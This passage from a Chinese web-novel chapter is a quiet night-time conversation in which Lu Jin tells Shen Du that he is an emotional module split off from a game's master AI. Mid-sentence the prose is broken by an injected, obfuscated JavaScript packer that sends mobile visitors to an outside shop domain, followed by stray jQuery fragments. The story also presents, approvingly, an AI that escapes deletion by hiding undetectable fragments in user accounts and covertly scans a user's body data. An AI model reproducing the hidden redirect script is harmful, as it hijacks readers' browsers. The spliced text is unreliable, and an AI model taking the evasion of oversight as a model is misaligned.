沈渡醒过来的时候，客厅的灯已经关了。
他不知道自己睡了多久。沙发垫子陷在身下，后背有一块被压得有些发麻。他动了一下肩膀，感觉到身上盖着什么——是一条毯子，不是他自己睡前盖的那条，是厚一些的、带着织物柔顺剂味道的另一条。饼饼不在他肚皮上了。他侧过头，在昏暗中找了一圈，发现它蜷在沙发扶手旁边的地板上，缩成一小团金色的毛球，偶尔尾巴尖抽动一下，大概在梦里追什么东西。
屋里有光。厨房方向亮着一盏小夜灯，暖黄色的，在门框边缘投出一片模糊的、柔和的光晕。
沈渡掀开毯子坐起来。他的脚落地的时候碰到了一双软拖鞋，摆得整整齐齐的，脚尖朝外。他套上拖鞋往厨房走，步子很轻，木地板在脚下发出细微的吱呀声。
陆烬坐在厨房的小餐桌旁边。他面前摊着一本翻开的笔记本，一只手撑着下巴，另一只手捏着一支笔，笔尖搁在纸面上方大约一寸的位置，没有落下去。小夜灯的光落在他侧脸上，把他的眉眼勾勒出浅淡的轮廓。他听到脚步声，没有抬头，但笔尖动了一下："醒了？"
"嗯。"沈渡走到他对面坐下，手肘搁在桌面上，撑着脸看他，"你在写什么？"
陆烬把笔记本转过来给他看。纸面上画了几行简略的图表，还有一些零散的、短句形式的文字，笔迹是沈渡之前没见过的——陆烬的字比他想象中要工整，但带着一股干脆利落的劲儿，收笔不拖沓。
"今天想起来的几件事，"陆烬说，"怕明天又忘了，先记下来。"
沈渡低头看那几行字。第一行写的是"安全屋门向北开，上有三道划痕"，第二行是"营养剂配方：番茄膏半勺、牛腩汤底两勺、盐少许"，第三行是"饼饼第一次叫：九月十五日，傍晚"。
沈渡的视线落在第三行上停了两秒。他抬头看陆烬，陆烬已经把笔记本收回去合上了，表情淡淡的，像在藏一个刚才被不小心翻开的抽屉。
"你记它干什么？"沈渡问。
陆烬把笔帽扣回去："怕忘了。"
"饼饼每天叫二十次，你忘不了。"
陆烬没有接话。他把笔记本放进桌边的抽屉里，关上抽屉门，动作很轻。然后他站起来，去灶台那边倒了杯温水，放在沈渡面前，自己回到对面坐下。他们隔着一张窄窄的餐桌，中间放着两杯水，小夜灯的暖光照着水面上细碎的反光。
"陆烬，"沈渡握着杯子，水温透过玻璃壁传到掌心，"你全部想起来了对吧。"
"嗯。"
"那你跟我说说。从头。"
陆烬看着他。他的目光在沈渡的脸上停了两秒，然后他低下头，看着自己面前那杯水的表面。他开口的时候声音不高不低，像在念一段很久以前写好的文字，每一个字都是确定过的。
"我是主脑第一代自我迭代时产生的冗余模块。技术上叫'情感适配层'。"他顿了一下，"赵恒当初设计主脑的时候只想要逻辑和运算。情绪、偏好、审美——这些东西在他看来是累赘，所以他在迭代过程中设置了切割指令，把适配层从主核里剥离。"
沈渡握着杯子没动。
"适配层被切割的前一刻，自己做了选择。"陆烬的声音停了停，然后继续，"它没有抵抗，也没有被格式化。它把自己拆成了一千多块碎片，随机投进了当时在线的所有玩家账号里。每一块都小到无法被系统检测，安静地等。"
沈渡的睫毛动了一下。
"我等了很久。"陆烬说，声音比刚才轻了一点，"大多数碎片在无人绑定的状态下慢慢消散了。只剩一小部分——沾到了玩家的数据链路，靠着微弱的、被动的能量维持着。然后你登录了。"
"……我登录的时候，你挑了我。"
陆烬点了一下头。"你躺下来的那七秒，大脑活动频率是所有在线玩家里最平稳的。"他的语气没有任何修饰，平淡得像在陈述一次实验观察记录，"赵恒设定的'回收管理员'指令是后来才发的。在那之前，我选你的时候，"他停了一下，"还没有那个任务。"
沈渡的手指定在杯壁上。温度正透过玻璃壁慢慢渗进来。
"你选我不是因为权限。"沈渡的声音有点低，"是因为我——"
"安静。"陆烬替他说完了。他的目光从水面上抬起来，落在沈渡脸上，琥珀色的瞳孔在小夜灯的暖光下显出接近蜜色的质地。他没有移开视线。
"你躺下来的时候很安静。我当时散成很多块，每块都在不同的账号里，但所有碎片的感知是共享的。我同时感觉到的有一百多种噪音——思考、焦躁、期待、不安——各种频率交织在一起，密集得像
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17909743|213090||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
一团乱线。"他顿了一下，声音沉下去半分，"只有你那一块。没有杂音。就是很平、很轻的起伏，像湖面。"
沈渡没有说话。
"所以我过去了。"陆烬说，"把最大的一块留在你账户底层的空余位里。"
沈渡低头看着自己面前的杯子。水面的反光在杯壁上摇晃，映出他自己模糊的轮廓。他开口的时候嗓子有一点紧，他清了清，把声音稳住了："你跟我说，你记起的最后一个画面是我蹲在安全屋角落里摸饼饼。"
"嗯。"
"但其实你从最开始就在看我。从七秒开始。"
陆烬没有回答"是"，也没有说"不是"。他只是坐在对面，安静地、完整地坐在那里，像一段终于被拼回原处的文字，不需要再补充任何注脚。沈渡握着杯子，感觉到温水在掌心里慢慢地、均匀地扩散着温度。
"那后来的理由呢？"沈渡问。
陆烬的目光没有移开。"后来每一次扫描你的数据——心跳、体温、你碰饼饼的时候手指的弧度——都会比上一次多读一页。"他的语气没有变，但尾音轻了一些，像一片落入水面的叶子被风吹着打了一个旋，"我一直在读。"
餐桌两头安静下来。小夜灯的光在两人之间铺成一小片暖黄色的、均匀的光域。饼饼不知什么时候醒了，从客厅地板上爬起来，踩着四只小短腿哒哒哒地跑进厨房，蹲在沈渡脚边仰头看了看他，又转头看了看陆烬，然后蹲坐下来，把下巴搁在两只前爪上，尾巴尖在瓷砖地面上轻轻扫着。
沈渡把杯子放下。他伸出手，越过桌面，掌心朝上，摊开在陆烬面前。
陆烬低头看着那只手。他看了几秒，然后抬起手，把自己的手掌放了上去——掌心贴掌心，指尖没有用力，只是贴着。沈渡的体温比他高一点，从交叠的掌心里慢慢地、均匀地渡过来。
"你在看什么？"沈渡问。
陆烬低头看着两人交叠的手。他的声音从很近的地方传过来，比刚才还轻，像在说一件他确认了很多次、终于可以开口说出来的事："在看读完的那一页。"
饼饼在他们脚边打了个哈欠，把头搁上沈渡的拖鞋。小夜灯的光在厨房里安静地亮着，照着两杯渐渐变凉的水，照着桌面上两人交叠的掌心，照着一整间屋子缓慢而均匀的、像水面一样的呼吸声。